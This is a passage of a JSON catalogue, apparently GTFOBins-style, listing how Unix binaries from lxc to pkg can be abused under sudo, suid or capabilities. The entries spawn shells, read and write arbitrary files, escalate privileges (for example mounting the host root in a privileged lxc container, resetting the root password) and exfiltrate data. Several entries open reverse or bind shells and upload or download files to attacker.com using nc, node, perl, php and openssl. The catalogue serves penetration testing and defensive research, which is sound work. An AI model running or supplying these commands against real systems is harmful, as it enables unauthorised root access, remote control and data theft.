downloaded.","contexts":{"sudo":null,"suid":null}},{"code":"lxc image import ./alpine*.tar.gz --alias x\nlxc init x x -c security.privileged=true\nlxc config device add x x disk source=/ path=/mnt/ recursive=true\nlxc start x\nlxc exec x /bin/sh","comment":"This requires steps to be run offline, then the resulting image must be uploaded to target. Build the local image with [lxd-alpine-builder](https://github.com/saghul/lxd-alpine-builder):\n\n```\ngit clone https://github.com/saghul/lxd-alpine-builder\ncd lxd-alpine-builder\nsudo ./build-alpine -a i686\n```","contexts":{"sudo":null,"suid":null}}]}},"m4": {"functions":{"command":[{"code":"echo 'esyscmd(/path/to/command)' | m4","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"file-read":[{"binary":false,"code":"m4 /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"echo 'esyscmd(/bin/sh 0<&2 1>&2)' | m4","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"mail": {"functions":{"shell":[{"code":"mail --exec='!/bin/sh'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"version":"GNU"},{"code":"mail -f /etc/hosts\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"make": {"functions":{"file-read":[{"binary":false,"code":"make -s --eval='$(file >/dev/stdout,$(file </path/to/input-file))' .","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"GNU"}],"file-write":[{"code":"make -s --eval='$(file >/path/to/output-file,DATA)' .","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"GNU"}],"shell":[{"code":"make --eval='$(shell /bin/sh 1>&0)' .","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"version":"GNU"}]}},"man": {"functions":{"file-read":[{"code":"man /path/to/input-file","comment":"The file is shown somehow formatted and displayed in the default pager.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"man man","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}],"shell":[{"code":"man '-H/bin/sh #' man","comment":"This requires GNU `troff` (`groff`) to be installed.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"version":"GNU"}]}},"mawk": {"functions":{"file-read":[{"code":"mawk '//' /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"mawk 'BEGIN { print \"DATA\" > \"/path/to/output-file\" }'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"mawk 'BEGIN {system(\"/bin/sh\")}'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"minicom": {"comment":"Note that in some versions, `Meta-Z` is used in place of `Ctrl-A`.","functions":{"shell":[{"code":"minicom -D /dev/null","comment":"Start the following command to open the TUI interface, then:\n\n1. press `Ctrl-A o` and select `Filenames and paths`;\n2. press `e`, type `/bin/sh`, then `Enter`;\n3. Press `Esc` twice;\n4. Press `Ctrl-A k` to drop the shell.\n\nAfter the shell, exit with `Ctrl-A x`.","contexts":{"sudo":null,"suid":{"comment":"Start the following command to open the TUI interface, then:\n\n1. press `Ctrl-A o` and select `Filenames and paths`;\n2. press `e`, type `/bin/sh -p`, then `Enter`;\n3. Press `Esc` twice;\n4. Press `Ctrl-A k` to drop the shell.\n\nAfter the shell, exit with `Ctrl-A x`."},"unprivileged":null}},{"code":"echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file\nminicom -D /dev/null -S /path/to/temp-file\nreset^J","comment":"After the shell, exit with `Ctrl-A x`.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"more": {"functions":{"file-read":[{"code":"more /path/to/input-file","comment":"The file is displayed in the terminal interface.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"more /etc/hosts\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"mosh-server": {"functions":{"shell":[{"code":"mosh --server=mosh-server localhost /bin/sh","comment":"This requires a valid SSH access.","contexts":{"sudo":{"comment":"The `mosh-server` is executed via `sudo`."}}}]}},"mosquitto": {"functions":{"file-read":[{"code":"mosquitto -c /path/to/input-file","comment":"The file is actually parsed and the first wrong line (ending with a newline or a null character) is returned in an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"mount": {"functions":{"privilege-escalation":[{"code":"mount -o bind /bin/sh /bin/mount\nmount","comment":"This overrides `mount` itself with a shell (or any other executable).","contexts":{"sudo":null}}]}},"msfconsole": {"functions":{"inherit":[{"code":"msfconsole\nirb","contexts":{"sudo":null,"unprivileged":null},"from":"irb"}]}},"msgattrib": {"functions":{"file-read":[{"binary":false,"code":"msgattrib -P /path/to/input-file","comment":"The file is parsed and displayed as a Java `.properties` file.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"msgcat": {"functions":{"file-read":[{"binary":false,"code":"msgcat -P /path/to/input-file","comment":"The file is parsed and displayed as a Java `.properties` file.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"msgconv": {"functions":{"file-read":[{"binary":false,"code":"msgconv -P /path/to/input-file","comment":"The file is parsed and displayed as a Java `.properties` file.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"msgfilter": {"functions":{"file-read":[{"binary":false,"code":"msgfilter -P -i /path/to/input-file /bin/cat","comment":"The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'","comment":"The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option.","contexts":{"sudo":null,"suid":{"code":"echo x | msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'","shell":false},"unprivileged":null}}]}},"msgmerge": {"functions":{"file-read":[{"binary":false,"code":"msgmerge -P /path/to/input-file /dev/null","comment":"The file is parsed and displayed as a Java `.properties` file.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"msguniq": {"functions":{"file-read":[{"binary":false,"code":"msguniq -P /path/to/input-file","comment":"The file is parsed and displayed as a Java `.properties` file.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"mtr": {"functions":{"file-read":[{"binary":false,"code":"mtr --raw -F /path/to/input-file","comment":"The file is actually parsed, thus the content is corrupted by error prints.","contexts":{"sudo":null,"unprivileged":null}}]}},"multitime": {"functions":{"shell":[{"code":"multitime /bin/sh","contexts":{"sudo":null,"suid":{"code":"multitime /bin/sh -p"},"unprivileged":null}}]}},"mutt": {"functions":{"file-read":[{"binary":false,"code":"mutt -F /path/to/input-file","comment":"The file is leaked as error messages.","contexts":{"sudo":null,"unprivileged":null}}]}},"mv": {"functions":{"file-write":[{"code":"echo DATA >/path/to/temp-file\nmv /path/to/temp-file /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"privilege-escalation":[{"code":"mv /path/to/input-file /path/to/output-file","comment":"This can be used to move and then read or write files from a restricted file systems or with elevated privileges.","contexts":{"sudo":null,"suid":null}}]}},"mypy": {"functions":{"file-read":[{"binary":false,"code":"mypy /path/to/input-file","comment":"Partial content is leaked as error messages.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"mypy /path/to/input-file --junit-xml /path/to/output-file","comment":"Partial content is leaked as error messages inside some XML tags.","contexts":{"sudo":null,"unprivileged":null}}]}},"mysql": {"comment":"A valid MySQL server must be available to connect to.","functions":{"library-load":[{"code":"mysql --default-auth ../../../../../path/to/lib","comment":"The following loads the `/path/to/lib.so` shared object.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"5.5"}],"shell":[{"code":"mysql -e '\\! /bin/sh'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"nano": {"functions":{"file-read":[{"binary":false,"code":"nano /path/to/input-file","comment":"The file content is displayed in the terminal interface.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"nano /path/to/output-file\nDATA\n^O","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"nano\n^R^X\nreset; sh 1>&0 2>&0","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"nano -s /bin/sh\n/bin/sh\n^T^T","comment":"The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.","contexts":{"sudo":null,"suid":{"code":"nano -s '/bin/sh -p'\n/bin/sh -p\n^T^T","shell":false},"unprivileged":null}}]}},"nasm": {"functions":{"file-read":[{"code":"nasm -@ /path/to/input-file","comment":"The file content is treated as command line options and disclosed throught error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"nawk": {"alias":"gawk"},"nc": {"functions":{"bind-shell":[{"code":"nc -l -p 12345 -e /bin/sh","comment":"This only works with netcat traditional.","connector":"tcp-client","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"download":[{"code":"nc -l -p 12345 >/path/to/output-file","comment":"The file is actually written by the invoking shell.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"tcp-client"},{"code":"nc attacker.com 12345 >/path/to/output-file","comment":"The file is actually written by the invoking shell.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"tcp-server"}],"reverse-shell":[{"code":"nc -e /bin/sh attacker.com 12345","comment":"This only works with netcat traditional.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"listener":"tcp-server"}],"upload":[{"code":"nc -l -p 12345 </path/to/input-file","comment":"The file is actually read by the invoking shell.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"tcp-client"},{"code":"nc attacker.com 12345 </path/to/input-file","comment":"The file is actually read by the invoking shell.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"tcp-server"}]}},"ncdu": {"functions":{"shell":[{"code":"ncdu\nb","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"ncftp": {"functions":{"shell":[{"code":"ncftp\n!/bin/sh","contexts":{"sudo":null,"suid":{"code":"ncftp\n!/bin/sh -p","shell":true},"unprivileged":null}}]}},"needrestart": {"functions":{"inherit":[{"code":"echo '...' >/path/to/temp-file\nneedrestart -c /path/to/temp-file","comment":"This allows to run Perl code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"perl"}]}},"neofetch": {"functions":{"file-read":[{"binary":false,"code":"neofetch --ascii /path/to/input-file","comment":"The file content is used as the logo while some other information is displayed on its right.","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"echo 'exec /bin/sh' >/path/to/temp-file\nneofetch --config /path/to/temp-file","contexts":{"sudo":null,"unprivileged":null}}]}},"nft": {"functions":{"file-read":[{"code":"nft -f /path/to/input-file","comment":"The content is actually parsed and corrupted by the command.","contexts":{"sudo":null,"unprivileged":null},"version":"`nftables` >= 0.9.0"}]}},"nginx": {"functions":{"download":[{"code":"cat >/path/to/temp-file <<EOF\nuser root;\nhttp {\n  server {\n    listen 80;\n    root /;\n    autoindex on;\n    dav_methods PUT;\n  }\n}\nevents {}\nEOF\n\nnginx -c /path/to/temp-file","contexts":{"sudo":null},"sender":{"code":"curl -X PUT victim.com/path/to/output-file --data-binary @/path/to/input-file","comment":"An HTTP client can be used on the attacker box to send the data."}}],"library-load":[{"code":"cat >/path/to/temp-file <<EOF\nload_module /path/to/lib.so\nEOF\n\nnginx -t -c /path/to/temp-file","comment":"Alternatively, the `ssl_engine` directive can be used.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"upload":[{"code":"cat >/path/to/temp-file <<EOF\nuser root;\nhttp {\n  server {\n    listen 80;\n    root /;\n    autoindex on;\n    dav_methods PUT;\n  }\n}\nevents {}\nEOF\n\nnginx -c /path/to/temp-file","contexts":{"sudo":null},"receiver":"http-client"}]}},"nice": {"functions":{"shell":[{"code":"nice /bin/sh","contexts":{"sudo":null,"suid":{"code":"nice /bin/sh -p","shell":false},"unprivileged":null}}]}},"nl": {"functions":{"file-read":[{"binary":false,"code":"nl -bn -w1 -s '' /path/to/input-file","comment":"The read file content is corrupted by a leading space added to each line.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"nm": {"functions":{"file-read":[{"binary":false,"code":"nm /path/to/input-file","comment":"The file content is treated as command line options and disclosed through error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"nmap": {"functions":{"file-read":[{"binary":false,"code":"nmap -iL /path/to/input-file","comment":"The file is actually parsed as a list of hosts/networks, lines are leaked through error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"nmap -oG=/path/to/output-file DATA","comment":"The payload appears inside the regular nmap output.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"echo '...' >/path/to/temp-file\nnmap --script=/path/to/temp-file","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"lua"}],"shell":[{"code":"nmap --interactive\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"version":"2.02 to 5.21"}]}},"node": {"functions":{"bind-shell":[{"code":"node -e 'sh = require(\"child_process\").spawn(\"/bin/sh\");\nrequire(\"net\").createServer(function (client) {\n  client.pipe(sh.stdin);\n  sh.stdout.pipe(client);\n  sh.stderr.pipe(client);\n}).listen(12345)'","connector":"tcp-client","contexts":{"sudo":null,"suid":{"code":"node -e 'sh = require(\"child_process\").spawn(\"/bin/sh\", [\"-p\"]);\nrequire(\"net\").createServer(function (client) {\n  client.pipe(sh.stdin);\n  sh.stdout.pipe(client);\n  sh.stderr.pipe(client);\n}).listen(12345)'"},"unprivileged":null}}],"download":[{"code":"node -e 'require(\"http\").get(\"http://attacker.com/path/to/input-file\", res => res.pipe(require(\"fs\").createWriteStream(\"/path/to/output-file\")))'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"code":"node -e 'process.stdout.write(require(\"fs\").readFileSync(\"/path/to/input-file\"))'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"node -e 'require(\"fs\").writeFileSync(\"/path/to/output-file\", \"DATA\")'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"node -e 'sh = require(\"child_process\").spawn(\"/bin/sh\");\nrequire(\"net\").connect(12345, \"attacker.com\", function () {\n  this.pipe(sh.stdin);\n  sh.stdout.pipe(this);\n  sh.stderr.pipe(this);\n})'","contexts":{"sudo":null,"suid":{"code":"node -e 'sh = require(\"child_process\").spawn(\"/bin/sh\", [\"-p\"]);\nrequire(\"net\").connect(12345, \"attacker.com\", function () {\n  this.pipe(sh.stdin);\n  sh.stdout.pipe(this);\n  sh.stderr.pipe(this);\n})'"},"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'","contexts":{"capabilities":{"code":"node -e 'process.setuid(0); require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'","list":["CAP_SETUID"]},"sudo":null,"suid":{"code":"node -e 'require(\"child_process\").spawn(\"/bin/sh\", [\"-p\"], {stdio: [0, 1, 2]})'"},"unprivileged":null}}],"upload":[{"code":"node -e 'require(\"fs\").createReadStream(\"/path/to/input-file\").pipe(require(\"http\").request(\"http://attacker.com/path/to/output-file\"))'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"http-server"}]}},"nohup": {"functions":{"command":[{"code":"nohup /path/to/command\ncat nohup.out","comment":"The `nohup.out` file contains the standard output and error of the command.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"nohup /bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'","comment":"This creates a `nohup.out` file in the current working directory.","contexts":{"sudo":null,"suid":{"code":"nohup /bin/sh -p -c '/bin/sh -p </dev/tty >/dev/tty 2>/dev/tty'","shell":false},"unprivileged":null}}]}},"npm": {"functions":{"shell":[{"code":"npm exec /bin/sh","contexts":{"sudo":null,"unprivileged":null}},{"code":"echo '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' >package.json\nnpm -C . i","contexts":{"sudo":null,"unprivileged":null}},{"code":"echo '{\"scripts\": {\"xxx\": \"/bin/sh\"}}' >package.json\nnpm -C . run xxx","contexts":{"sudo":null,"unprivileged":null}}]}},"nroff": {"functions":{"file-read":[{"binary":false,"code":"nroff /path/to/input-file","comment":"The file is typeset and some warning messages may appear.","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"echo /bin/sh >groff\nchmod +x groff\nGROFF_BIN_PATH=. nroff","contexts":{"sudo":null,"unprivileged":null}}]}},"nsenter": {"functions":{"shell":[{"code":"nsenter /bin/sh","comment":"The shell command can be omitted.","contexts":{"sudo":null,"suid":{"code":"nsenter /bin/sh -p","shell":false},"unprivileged":null}}]}},"ntpdate": {"functions":{"file-read":[{"binary":false,"code":"ntpdate -a x -k /path/to/input-file -d localhost","comment":"The file is actually parsed and lines are leaked through error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"nvim": {"alias":"vim"},"octave": {"comment":"The payloads are compatible with GUI mode.","functions":{"file-read":[{"binary":false,"code":"octave-cli --eval 'format none; fid = fopen(\"/path/to/input-file\"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"octave-cli --eval 'fid = fopen(\"/path/to/output-file\", \"w\"); fputs(fid, \"DATA\"); fclose(fid);'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"octave-cli --eval 'system(\"/bin/sh\")'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"od": {"functions":{"file-read":[{"code":"od -An -c -w999 /path/to/input-file","comment":"Three spaces are added before each character in the read file (wrapped at the specified value, i.e., `999`), and non-printable chars are printed as backslash escape sequences.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"opencode": {"functions":{"command":[{"code":"opencode\n! /path/to/command","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"inherit":[{"code":"opencode db '...'","comment":"This allows to run SQLite queries (`...`) provided that `sqlite3` is installed.","contexts":{"sudo":null,"unprivileged":null},"from":"sqlite3"}]}},"openssl": {"functions":{"download":[{"code":"openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"tls-server"}],"file-read":[{"code":"openssl enc -in /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA | openssl enc -out /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"openssl enc -in /path/to/input-file -out /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"library-load":[{"code":"openssl req -engine ./lib.so","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"mkfifo /path/to/temp-socket\n/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket","comment":"The shell process is not spawn by `openssl`.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"listener":"tls-server"}],"upload":[{"code":"openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"tls-server"}]}},"openvpn": {"functions":{"file-read":[{"code":"openvpn --config /path/to/input-file","comment":"The file is actually parsed and the first partial wrong line is returned in an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"openvpn --dev null --script-security 2 --up '/bin/sh -s'","contexts":{"sudo":null,"suid":{"code":"openvpn --dev null --script-security 2 --up '/bin/sh -p -s'","shell":false},"unprivileged":null}}]}},"openvt": {"functions":{"command":[{"blind":true,"code":"openvt -- /path/to/command","comment":"The command execution is displayed on the virtual console.","contexts":{"sudo":null}}]}},"opkg": {"functions":{"shell":[{"code":"rpm opkg install x_1.0_all.deb","comment":"Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n```\necho 'exec /bin/sh' >x.sh\nfpm -n x -s dir -t deb -a all --before-install x.sh .\n```","contexts":{"sudo":null}}]}},"pandoc": {"functions":{"file-read":[{"binary":false,"code":"pandoc -t plain /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"echo DATA | pandoc -t plain -o /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"echo '...' >/path/to/temp-file\npandoc -L /path/to/temp-file /dev/null","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"lua"}]}},"passwd": {"functions":{"privilege-escalation":[{"code":"echo -e 'x\\nx' | passwd","comment":"This changes the root password to `x`, so it's now possible to log in using, for example, `su`.","contexts":{"sudo":null}}]}},"paste": {"functions":{"file-read":[{"binary":false,"code":"paste /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"pax": {"functions":{"file-read":[{"code":"pax -w /path/to/input-file | tar -xO","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"pdb": {"functions":{"inherit":[{"code":"echo '...' >/path/to/temp-file\npdb /path/to/temp-file\ncont","comment":"This allows to run Python code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"python"}]}},"pdflatex": {"functions":{"file-read":[{"code":"pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{/path/to/input-file}\\end{document}'\npdftotext texput.pdf -","comment":"The read file will be part of the PDF output.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"pdflatex '\\documentclass{article}\\newwrite\\tempfile\\begin{document}\\immediate\\openout\\tempfile=output-file.tex\\immediate\\write\\tempfile{DATA}\\immediate\\closeout\\tempfile\\end{document}'","comment":"The file can only be written in the current directory, and the `.tex` extension is mandatory.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"pdftex": {"functions":{"shell":[{"code":"pdftex --shell-escape '\\write18{/bin/sh}\\end'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"perf": {"functions":{"shell":[{"code":"perf stat /bin/sh","contexts":{"sudo":null,"suid":{"code":"perf stat /bin/sh -p","shell":false},"unprivileged":null}}]}},"perl": {"functions":{"download":[{"code":"perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>\"attacker.com\",PeerPort=>80,Proto=>\"tcp\") or die; print $s \"GET /path/to/input-file HTTP/1.1\\r\\nHost: attacker.com\\r\\nMetadata: true\\r\\nConnection: close\\r\\n\\r\\n\"; open(my $fh, \">\", \"/path/to/output-file\") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq \"\\r\\n\") { $in_content = 1; } } close($s); close($fh);'","contexts":{"sudo":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"code":"perl -ne print /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"perl -e 'use Socket;$i=\"attacker.com\";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'","contexts":{"sudo":null,"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"perl -e 'exec \"/bin/sh\"'","contexts":{"capabilities":{"code":"perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/sh\"'","list":["CAP_SETUID"]},"sudo":null,"unprivileged":null}},{"code":"PERL5OPT=-d PERL5DB='exec \"/bin/sh\"' perl /dev/null","comment":"The `/dev/null` part can be omitted, just use `Ctrl-D` in order to spawn the shell.","contexts":{"sudo":null,"unprivileged":null}}],"upload":[{"code":"perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>\"attacker.com\", PeerPort=>80, Proto=>\"tcp\") or die;open(my $file, \"<\", \"/path/to/input-file\") or die;$content = join(\"\", <$file>);close($file);$headers = \"POST / HTTP/1.1\\r\\nHost: attacker.com\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: \" . length($content) . \"\\r\\nConnection: close\\r\\n\\r\\n\";print $s $headers . $content;while (<$s>) { }close($s);'","contexts":{"sudo":null,"unprivileged":null},"receiver":"http-server"}]}},"perlbug": {"functions":{"shell":[{"code":"perlbug -s 'x x x' -r x -c x -e 'exec /bin/sh #'","comment":"This requires to press `Enter` serveral times before the shell is spawn.","contexts":{"sudo":null,"unprivileged":null}}]}},"pexec": {"functions":{"shell":[{"code":"pexec /bin/sh","contexts":{"sudo":null,"suid":{"code":"pexec /bin/sh -p","shell":false},"unprivileged":null}}]}},"pg": {"functions":{"file-read":[{"code":"pg /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"pg /etc/hosts\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"php": {"functions":{"command":[{"code":"php -r 'echo shell_exec(\"/path/to/command\");'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"php -r '$r=array(); exec(\"/path/to/command\", $r); print(join(\"\\n\",$r));'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"php -r '$p = array(array(\"pipe\",\"r\"),array(\"pipe\",\"w\"),array(\"pipe\", \"w\"));$h = @proc_open(\"/path/to/command\", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"download":[{"code":"php -r '$c=file_get_contents(\"http://attacker.com/path/to/input-file\"); file_put_contents(\"/path/to/output-file\", $c);'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"code":"php -r 'readfile(\"/path/to/input-file\");'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"php -r 'file_put_contents(\"/path/to/output-file\", \"DATA\");'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"php -r '$sock=fsockopen(\"attacker.com\",12345);exec(\"/bin/sh -i 0<&3 1>&3 2>&3\");'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"php -r 'system(\"/bin/sh -i\");'","contexts":{"capabilities":{"code":"php -r 'posix_setuid(0); system(\"/bin/sh -i\");'","list":["CAP_SETUID"]},"sudo":null,"suid":{"shell":true},"unprivileged":null},"tty":false},{"code":"php -r 'passthru(\"/bin/sh -i\");'","contexts":{"capabilities":{"code":"php -r 'posix_setuid(0); passthru(\"/bin/sh -i\");'","list":["CAP_SETUID"]},"sudo":null,"suid":{"shell":true},"unprivileged":null},"tty":false},{"code":"php -r '$h=@popen(\"/bin/sh -i\",\"r\"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'","contexts":{"capabilities":{"code":"php -r 'posix_setuid(0); $h=@popen(\"/bin/sh -i\",\"r\"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'","list":["CAP_SETUID"]},"sudo":null,"suid":{"shell":true},"unprivileged":null},"tty":false},{"code":"php -r 'pcntl_exec(\"/bin/sh\");'","contexts":{"capabilities":{"code":"php -r 'posix_setuid(0); pcntl_exec(\"/bin/sh\");'","list":["CAP_SETUID"]},"sudo":null,"suid":{"code":"php -r 'pcntl_exec(\"/bin/sh\", [\"-p\"]);'","shell":false},"unprivileged":null}}],"upload":[{"code":"php -S 0.0.0.0:80","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"http-client","version":">= 5.4"}]}},"pic": {"functions":{"file-read":[{"binary":false,"code":"pic /path/to/input-file","comment":"The output is prefixed with some content.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"pic -U\n.PS\nsh X sh X","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"pico": {"alias":"nano"},"pidstat": {"functions":{"shell":[{"code":"pidstat -e /bin/sh","contexts":{"sudo":null,"suid":{"code":"pidstat -e /bin/sh -p","shell":false},"unprivileged":null}}]}},"pip": {"functions":{"inherit":[{"code":"echo '...' >setup.py\npip install --break-system-packages .","comment":"This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`).\n\nKeep in mind that the TTY is lost, so `/dev/tty` can be used, for example:\n\n```\necho 'import os; os.system(\"exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty\")' >setup.py\n```\n\nThe `--break-system-packages` flag can be omitted in older systems.","contexts":{"sudo":null,"unprivileged":null},"from":"python"}],"shell":[{"code":"pip config --editor '/bin/sh -s' edit","contexts":{"sudo":null,"unprivileged":null}}]}},"pipx": {"functions":{"inherit":[{"code":"echo '...' >/path/to/file.py\npipx run /path/to/file.py","comment":"This allows to run Python code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"python"}]}},"pkexec": {"functions":{"shell":[{"code":"pkexec /bin/sh","contexts":{"sudo":null}}]}},"pkg": {"functions":{"command":[{"code":"pkg install -y --no-repo-update 